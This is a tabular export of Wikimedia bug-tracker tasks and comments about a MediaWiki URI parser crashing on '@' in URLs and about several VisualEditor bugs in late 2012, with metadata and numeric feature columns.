+197680,mediawiki.Uri crashes in pages with '@' in their url,Change-Id: I4954bfd3750d5c990e91cc0dc8a175225ccbad1e,,,1358621587,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+197675,mediawiki.Uri crashes in pages with '@' in their url,"Yes, but is it truly necessary to validate that much? I mean, for example, take the (invalid) URI ""https://www.google.com/search?q=test test"". The URI is invalid because it has a space character in the query, but if you were to do something like ""location.href = <that uri>"", it would work perfectly fine, because the browser automatically percent-encodes the space.
+
+Basically, I'm wondering for what the mw.Uri class is being used for that requires such strict validation.",,,1358556627,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+197668,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #10)
+> I wouldn't attempt to make a comprehensive URI parsing library in JavaScript.
+
+> The first reason is because it's unnecessary. With the fix I just uploaded to
+> Gerrit, there should not be any more bugs in this function. 
+
+I just pointed out a glaring one above.
+
+(In reply to comment #8)
+> What about whitespace in the authority part? (This isn't allowed,
+> but those regexes match it just fine.)
+
+I'm sure there are more, waiting to be uncovered.
+
+
+> Secondly, the
+> regular expression would be absurdly complicated. URIs have specific sets of
+> characters that can be included only in certain sections. I wrote a regex for
+> an official URI once when I was working on the PHP version of this class
+> (still
+> in Gerrit), and it was so confusing it took days to get it working properly.
+
+Of course, I know this. That's why I'm suggesting using the work of someone who has already spent time pulling his hair out to get this right; or at least just taking those crazy regexes in from some other library.",,,1358549728,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,0,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,1,0,1,0,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+197660,mediawiki.Uri crashes in pages with '@' in their url,"I wouldn't attempt to make a comprehensive URI parsing library in JavaScript. The first reason is because it's unnecessary. With the fix I just uploaded to Gerrit, there should not be any more bugs in this function. Secondly, the regular expression would be absurdly complicated. URIs have specific sets of characters that can be included only in certain sections. I wrote a regex for an official URI once when I was working on the PHP version of this class (still in Gerrit), and it was so confusing it took days to get it working properly.",,,1358545565,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,1,0,0,1,1,1,1,1,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0
+197653,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #8)
+> (In reply to comment #6)
+> > On further investigation and following links from that gist, it looks like
+> > the
+> > regexes in mw.Uri aren't so half-baked.
+> > 
+> > They actually come from here:
+> > http://blog.stevenlevithan.com/archives/parseuri
+> 
+> If they weren't half-baked, mw.Uri wouldn't crash on '@' in the URL. 
+> 
+> These regexes are already awful (177 characters? Seriously?), and are bound
+> to
+> get worse as we discover more edge-cases. 
+> 
+> What about password with a '@' in it? (Yeah, this is allowed as far as I
+> know,
+
+No, those need to be url escaped afaik. At least in Chrome and in the nodejs modules I used it the password (especially the @ symbol) needs to be url escaped or it won't work.
+
+> While on second though the <a>-abuse I linked isn't a good idea, we really
+> need a serious parsing library.
+
+I'm open to suggestions, though it'll need to be flexible and be replaceable in-place to allow smooth transition (same API and and unit tests, different internal implementation).
+
+The module is generic enough to easily allow a different parser.
+
+But there is some ambiguity on the fields to be extracted and their meaning[1], so even a ""perfect"" library may need modification to work for us and our interpretation of those terms.
+
+[1] http://tantek.com/2011/238/b1/many-ways-slice-url-name-pieces",,,1358542770,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,1,0,0,1,1,1,1,0,1,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
+197648,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #6)
+> On further investigation and following links from that gist, it looks like
+> the
+> regexes in mw.Uri aren't so half-baked.
+> 
+> They actually come from here:
+> http://blog.stevenlevithan.com/archives/parseuri
+
+If they weren't half-baked, mw.Uri wouldn't crash on '@' in the URL. 
+
+These regexes are already awful (177 characters? Seriously?), and are bound to get worse as we discover more edge-cases. 
+
+What about password with a '@' in it? (Yeah, this is allowed as far as I know, and works.) What about whitespace in the authority part? (This isn't allowed, but those regexes match it just fine.)
+
+While on second though the <a>-abuse I linked isn't a good idea, we really need a serious parsing library.",,,1358532368,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0,0,0,1,1,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+197644,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #6)
+> (In reply to comment #3)
+> > I googled a little for a reasonable JS URI parsing library that could replace
+> > those half-baked regexes, and found this: https://gist.github.com/2428561
+> > 
+> > It seems genius and is 100% correct. Is it a good idea to use something like
+> > this? If it is, I can implement it.
+> 
+> That's not a URI parsing library, that's an unreliable hack using <a href="""">
+> parsing. See the comments there.
+> 
+> On further investigation and following links from that gist, it looks like
+> the
+> regexes in mw.Uri aren't so half-baked.
+> 
+> They actually come from here:
+> http://blog.stevenlevithan.com/archives/parseuri
+
+Indeed. You'll also notice that the user and password aren't parsed at all in that implementation.
+
+Also, https://gerrit.wikimedia.org/r/44665",,,1358531480,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,1,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+197640,mediawiki.Uri crashes in pages with '@' in their url,"(In reply to comment #3)
+> I googled a little for a reasonable JS URI parsing library that could replace
+> those half-baked regexes, and found this: https://gist.github.com/2428561
+> 
+> It seems genius and is 100% correct. Is it a good idea to use something like
+> this? If it is, I can implement it.
+
+That's not a URI parsing library, that's an unreliable hack using <a href=""""> parsing. See the comments there.
+
+On further investigation and following links from that gist, it looks like the regexes in mw.Uri aren't so half-baked.
+
+They actually come from here:
+http://blog.stevenlevithan.com/archives/parseuri",,,1358530663,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-24,,0,1,0,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,1
+197634,mediawiki.Uri crashes in pages with '@' in their url,Found the problem. Expect a patch in the near future.,,,1358530566,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+197628,mediawiki.Uri crashes in pages with '@' in their url,It should be noted that those are HTML5-specific properties.,,,1358529061,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,False,,,-24,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0
+197622,mediawiki.Uri crashes in pages with '@' in their url,"I googled a little for a reasonable JS URI parsing library that could replace those half-baked regexes, and found this: https://gist.github.com/2428561
+
+It seems genius and is 100% correct. Is it a good idea to use something like this? If it is, I can implement it.",,,1355779261,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+197617,mediawiki.Uri crashes in pages with '@' in their url,"Not yet, but if nobody does I will eventually.",,,1355764277,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0
+197609,mediawiki.Uri crashes in pages with '@' in their url,"Krinkle: As dependency bug 42306 is assigned to, do you work on this?",,,1355708459,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-vrsv454ata26ui2zocei,task_subcomment,,True,c1,1,True,,,-28,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
+44487,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"Wikitext to reproduce:
+
+<span>
+[bunch of newlines]
+</span>
+
+Parsoid generates <span><p></p></span> for this, but it doesn't mark the span.
+
+Todo:
+* Make the failure a bit more graceful
+* Investigate whether p inside span is legal
+* Investigate other cases where this breakage occurs
+* File bug with Parsoid for proper protection of user-generated tags
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1354071720,1354826179.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_description,resolved,True,c1,0,False,False,True,-31,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+196138,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,Resolved in If420ae80ab0777424a9a5517335ef9d0170e87ae,,,1354826179,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+196133,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"Slight tweak to the approach: it was easier not to back up to the outer node, but instead just inline-alienate the inner node.
+
+https://gerrit.wikimedia.org/r/37172",,,1354756947,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-30,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0
+196129,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"(In reply to comment #1)
+> This content would be in violation of the HTML spec, I believe.
+Yes. But Gabriel argues this is bound to occur in some cases anyway.
+
+Proposed approach: detect these cases (block node inside inline node or annotation node) without crashing, and handle them by backing out and alienating the outer node.",,,1354146377,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,False,,,-31,,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+196125,VisualEditor: Converter crashes if a page has a <span> element with a <p> elements,"This content would be in violation of the HTML spec, I believe.",,,1354124174,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vagtkpb7zm3ecw5cnsap,task_subcomment,,True,c1,0,True,,,-31,,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+44404,VisualEditor: Still get a pawn when select-all->replace in Firefox,"Go to demos/ve/?page=aliens in Firefox; select all:
+
+  TypeError: end is undefined    ve.ce.Surface.js (line 980)
+
+Press ""a"" (or backspace and then ""a""):
+
+  TypeError: start is undefined  ve.ce.Surface.js (line 995)
+  
+  (And a pawn appears in its own <p> above the a.)
+
+On any click thereafter,
+
+  TypeError: node is null        ve.ce.Surface.js (line 1073)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=57355",High,80.0,1353725160,1353971144.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-j3shvug7fft7t4wshe6d,task_description,resolved,True,c1,0,True,False,True,-32,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,1
+190446,VisualEditor: Still get a pawn when select-all->replace in Firefox,"I resolved this in Ia7347527e6466262e819f456404b32926fd95e34 by correcting the offsets before showing selection. This seems to work well so far, but really getNodeAndOffset is a nasty function that needs some love soon.",,,1353971144,,PHID-USER-mpfqwllylfkzpcgkdkvc,True,,,PHID-TASK-j3shvug7fft7t4wshe6d,task_subcomment,,True,c1,0,False,,,-31,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,1,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+44403,"VisualEditor: Selective serialisation has landed in Parsoid, now VE needs to handle that","Due to gerrit 31118 being merged, Parsoid now has selective serialisation live. This means that VisualEditor needs to include Mark's patch to handle this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",High,80.0,1353721680,1354056676.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-hgicqduvx6exq6mle75r,task_description,resolved,True,c1,0,True,False,True,-32,,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+190423,"VisualEditor: Selective serialisation has landed in Parsoid, now VE needs to handle that",gerrit 35340,,,1353981072,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-hgicqduvx6exq6mle75r,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+44402,VisualEditor: Failure in saving integration code,"this.emit( 'saveError', null, 'Unsuccessful request: ' + data.result, null );
+
+(ve.init.mw.Target.js line 131)
+
+causes ""TypeError: data is undefined""
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353719400,1353724364.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-76qxn5mqf3hcvdkgf2kt,task_description,resolved,True,c1,0,True,False,True,-32,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1
+190382,VisualEditor: Failure in saving integration code,Fixed in gerrit 34959,,,1353724364,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-76qxn5mqf3hcvdkgf2kt,task_subcomment,,True,c1,0,True,,,-32,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+44398,VisualEditor: Clean up meta nodes,"For after December:
+* consolidate 'type': 'metaInline' / 'metaBlock' into 'type': 'meta'
+* get rid of ve.{ce,dm}.Meta{Inline,Block}Node
+* create ve.dm.MetaNode with converter stuff but don't inherit ve.dm.LeafNode
+** eventually integrate that into the new node API
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353702180,1357679596.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0
+190239,VisualEditor: Clean up meta nodes,This is fixed in gerrit 39847 which is now merged; will be deployed as part of the 2013-01-16 release cycle.,,,1357679596,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_subcomment,,True,c1,1,True,,,-25,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0
+190236,VisualEditor: Clean up meta nodes,"Turns out this could only be fixed partially. Consolidating metaBlock and metaInline was not possible and will have to wait until the node API rewrite, so I removed ce.Meta{Block,Inline}Node in https://gerrit.wikimedia.org/r/39847 and wrote up some ideas for the node API rewrite at https://www.mediawiki.org/wiki/User:Catrope/Node_API",,,1356175301,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-o3u5ojlmiw3bdf7dgyiu,task_subcomment,,True,c1,1,False,,,-28,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+44350,VisualEditor: Delete and backspace broken around inline aliens in Firefox,"When I place the cursor before the template output, and press ""Delete"", it deletes the template and one more character after the template. When I place the cursor after the template output and press ""Backspace"", it does not delete the template (simply does nothing).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353576600,1354149956.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_description,resolved,True,c1,0,False,False,True,-32,,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0
+187558,VisualEditor: Delete and backspace broken around inline aliens in Firefox,Resolved in I73215df88519450965be35d9e04cf4e621d1e90d,,,1354149956,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+187554,VisualEditor: Delete and backspace broken around inline aliens in Firefox,"Confirmed.
+
+Trivial test case: Start with an article with an inline alien - e.g. ""ABC<tt>:-)</tt>DEF"". Place the cursor immediately after C, and press (forwards) delete; instead of just deleting the alien, it also deletes D.
+
+Undo; place cursor immediately before D (just after the alien), and press backspace; instead of deleting the alien, it does nothing.
+
+Confirmed in Firefox.",,,1353718829,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-75uqqg6zbs3w4jxdyn43,task_subcomment,,True,c1,0,True,,,-32,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+44341,"VisualEditor: Link inspector suggestions box should instantly show, then populate with more as API returns","Right now the link inspector's suggestions box displays only after the ; instead, it should show instantly, then populate with more data as API returns with a spinner. Trevor has some ideas if you want to bug him. :-)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",High,80.0,1353543420,1354302320.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-smsvykwx7lxu2tyag7ye,task_description,resolved,True,c1,0,True,False,True,-32,,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,1,0,0
+187056,"VisualEditor: Link inspector suggestions box should instantly show, then populate with more as API returns","Patched in https://gerrit.wikimedia.org/r/#/c/36110/1
+Awaiting merge.",,,1354231674,,PHID-USER-pun3sjvg3cemjzbgyo2t,True,,,PHID-TASK-smsvykwx7lxu2tyag7ye,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+44340,VisualEditor: Annotation of inline nodes fails,"Annotation of inline nodes fails - the data model is not updated to have any annotations added.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",High,80.0,1353542940,1354056502.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-jml4yae3q65u4srebbyl,task_description,resolved,True,c1,0,True,False,True,-32,,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+187013,VisualEditor: Annotation of inline nodes fails,https://gerrit.wikimedia.org/r/#/c/34958/,,,1354054132,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-jml4yae3q65u4srebbyl,task_subcomment,,True,c1,0,False,,,-31,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+44298,VisualEditor: Handle percent-encoding in MWInternalLinkAnnotation,"Per conversation with Gabriel, MWInternalLinkAnnotation needs to deal with percent-encoded hrefs. At least question marks (?) and percent signs (%) will be encoded. We need to decode these before presenting them to the user, encode the user input on the way out, and use href shadowing to make sure we don't change the href if the user didn't change the target (even if that would otherwise happen due to complete vs partial percent-encoding).
+
+--------------------------
+**Version**: unspecified
